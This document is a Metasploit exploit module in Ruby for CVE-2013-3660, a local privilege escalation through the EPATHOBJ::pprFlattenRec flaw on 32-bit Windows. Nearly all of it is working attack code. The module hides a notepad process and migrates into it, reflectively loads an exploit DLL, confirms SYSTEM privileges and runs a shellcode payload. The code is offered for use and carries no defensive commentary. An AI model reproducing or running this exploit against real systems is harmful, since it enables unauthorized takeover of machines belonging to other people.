Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/windows/priv'  
require 'msf/core/post/windows/process'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = AverageRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage  
of uninitialized data which allows to corrupt memory. At the moment, the module has  
been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit  
'progmboy <programmeboy[at]gmail.com>', # Original Exploit  
'Keebie4e', # Metasploit integration  
'egypt', # Metasploit integration  
'sinn3r', # Metasploit integration  
'Meatballs', # Metasploit integration  
'juan vazquez' # Metasploit integration  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'Payload' =>  
{  
'Space' => 4096,  
'DisableNops' => true  
},  
'References' =>  
[  
[ 'CVE', '2013-3660' ],  
[ 'EDB', '25912' ],  
[ 'OSVDB', '93539' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],  
],  
'DisclosureDate' => 'May 15 2013',  
'DefaultTarget' => 0  
}))  
  
end  
  
def check  
os = sysinfo["OS"]  
if os =~ /windows/i  
return Exploit::CheckCode::Vulnerable  
end  
end  
  
def exploit  
  
if sysinfo["Architecture"] =~ /wow64/i  
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")  
elsif sysinfo["Architecture"] =~ /x64/  
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")  
end  
  
print_status("Creating a new process and migrating...")  
  
cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"  
new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })  
new_pid = new_proc.pid  
  
if not new_pid  
print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")  
else  
print_status("Migrating to #{new_pid}")  
migrate_res = false  
  
begin  
migrate_res = session.core.migrate(new_pid)  
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError  
migrate_res = false  
end  
  
if migrate_res  
print_good("Successfully migrated to process #{new_pid}")  
else  
print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")  
end  
end  
  
print_status("Trying to load the exploit and executing...")  
  
session.core.load_library({  
"LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"),  
"UploadLibrary" => true,  
"Extension" => false,  
"TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll",  
"SaveToDisk" => false  
})  
  
print_status("Checking privileges after exploitation...")  
  
if is_system?  
print_good("Exploitation successful!")  
else  
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")  
end  
  
if execute_shellcode(payload.encoded)  
print_good("Enjoy!")  
else  
fail_with(Exploit::Failure::Unknown, "Error while executing the payload")  
end  
  
end  
  
  
end  
`